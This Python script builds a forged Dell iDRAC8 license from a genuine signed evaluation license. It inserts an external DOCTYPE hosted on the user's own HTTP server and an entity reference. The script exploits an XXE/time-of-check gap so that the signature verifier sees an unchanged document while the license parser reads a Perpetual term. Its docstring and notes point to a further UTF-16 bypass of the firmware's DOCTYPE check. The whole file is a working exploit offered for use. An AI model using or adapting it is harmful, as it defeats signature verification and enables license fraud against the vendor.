#!/usr/bin/env python3
"""Build the XXE/TOCTOU license from the genuine iDRAC8 eval.

The document is Dell's signed eval with two changes:

  1. a DOCTYPE whose external subset is served by your own HTTP server;
  2. an entity reference &x; inside <lns:LicenseTerm>, before the
     <lns:Evaluation> element.

The signature verifier is served a DTD that expands &x; to nothing, so the
canonical tree is byte-identical to Dell's signed document and the digest
still matches.  The license parser is served a DTD that expands &x; to
<Perpetual xmlns="..."/>, so the term parser (which stops at the first term
it finds, and checks Perpetual before Evaluation) stores PERPETUAL.

Usage:
    python build.py --host 192.168.1.50 --out forged_perpetual.xml
    python build.py --dtd-url http://192.168.1.50:8000/license.dtd --out x.xml
"""
import argparse
import os

LNS = "http://www.dell.com/2011/12G/licensing"
EVAL = os.path.join(os.path.dirname(__file__), "..", "licenses",
                    "iDRAC8_Enterprise_Extended_Eval_License.xml")
DONOR = os.path.join(os.path.dirname(__file__), "..", "licenses",
                     "iDRAC7_Enterprise_9QYZF42.xml")

SOURCES = {
    "eval": (EVAL, b'<lns:Evaluation lns:Duration="P240D"/>'),
    "donor": (DONOR, b'<lns:Perpetual/>'),
}


def build(host: str, port: int, dtd_url: str | None, source: str = "eval",
          internal: bool = False) -> bytes:
    path, marker = SOURCES[source]
    d = open(path, "rb").read()

    decl = b'<?xml version="1.0"?>\n'
    assert d.startswith(decl), "unexpected eval prologue"

    comment_end = d.index(b"-->") + 3
    comment = d[len(decl):comment_end]
    prefix = decl + comment + b"\n"

    if internal:
        doctype = (b'<!DOCTYPE lns:LicenseClass [\n'
                   b'<!ENTITY x "">\n'
                   b']>\n')
    else:
        url = dtd_url or f"http://{host}:{port}/license.dtd"
        doctype = f'<!DOCTYPE lns:LicenseClass SYSTEM "{url}">\n'.encode()

    # NOTE: the firmware's DOCTYPE scan checks every offset, so this UTF-8
    # variant is always rejected.  See build_duration.py for the UTF-16
    # bypass.  The padding below is kept only for the historical PoC.
    offset = len(prefix)
    pad = b""
    if offset % 10 == 0:
        pad = b"\n"
        offset += 1
    assert offset % 10 != 0

    ev = marker
    assert d.count(ev) == 1, "unexpected source body"
    body = d.replace(ev, b"&x;" + ev)

    out = prefix + pad + doctype + body[len(prefix):]
    return out


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="192.168.1.50")
    ap.add_argument("--port", type=int, default=8000)
    ap.add_argument("--dtd-url", default=None)
    ap.add_argument("--source", choices=("eval", "donor"), default="eval",
                    help="eval = attack payload; donor = probe payload")
    ap.add_argument("--internal", action="store_true",
                    help="use an internal DTD subset (no network) for diagnosis")
    ap.add_argument("--out", default="forged_perpetual.xml")
    a = ap.parse_args()

    out = build(a.host, a.port, a.dtd_url, a.source, a.internal)
    open(a.out, "wb").write(out)

    prefix_len = out.index(b"<!DOCTYPE")
    print(f"wrote {a.out} ({len(out)} bytes, source={a.source}, "
          f"internal={a.internal})")
    print(f"DOCTYPE at offset {prefix_len} (mod 10 = {prefix_len % 10})")
    if not a.internal:
        print(f"DTD URL: {(a.dtd_url or f'http://{a.host}:{a.port}/license.dtd')}")


if __name__ == "__main__":
    main()
